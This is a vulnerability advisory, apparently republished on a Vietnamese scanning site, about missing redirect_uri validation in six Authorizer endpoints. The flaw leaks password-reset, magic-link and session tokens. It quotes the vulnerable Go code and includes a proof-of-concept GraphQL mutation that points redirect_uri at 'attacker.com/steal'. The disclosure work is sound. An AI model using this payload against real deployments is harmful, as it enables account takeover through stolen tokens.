| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/authorizerdev/authorizer | < 0.0.0-20260329085140-6d9bef1aaba3 | 0.0.0-20260329085140-6d9bef1aaba3 |
Hi,
I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).
internal/graphql/forgot_password.go:76-77) - password reset tokensinternal/graphql/magic_link_login.go:150-151) - magic link auth tokensinternal/graphql/signup.go:211-212) - email verification tokensinternal/graphql/invite_members.go:90-91) - invitation tokensinternal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in stateinternal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.
In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:
if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
redirectURI = refs.StringValue(params.RedirectURI)
}
The reset token is appended to this URL at internal/utils/common.go:77:
func GetForgotPasswordURL(token, redirectURI string) string {
verificationURL := redirectURI + "?token=" + token
return verificationURL
}
Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
c.JSON(400, gin.H{"error": "invalid redirect url"})
return
}
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíThis validation is missing from all 6 endpoints listed above.
After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:
params := "access_token=" + authToken.AccessToken.Token +
"&token_type=bearer&expires_in=" + ... +
"&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce
The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.
Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.
mutation {
forgot_password(params: {
email: "[email protected]"
redirect_uri: "https://attacker.com/steal"
}) {
message
}
}
The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.
The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.
Koda Reef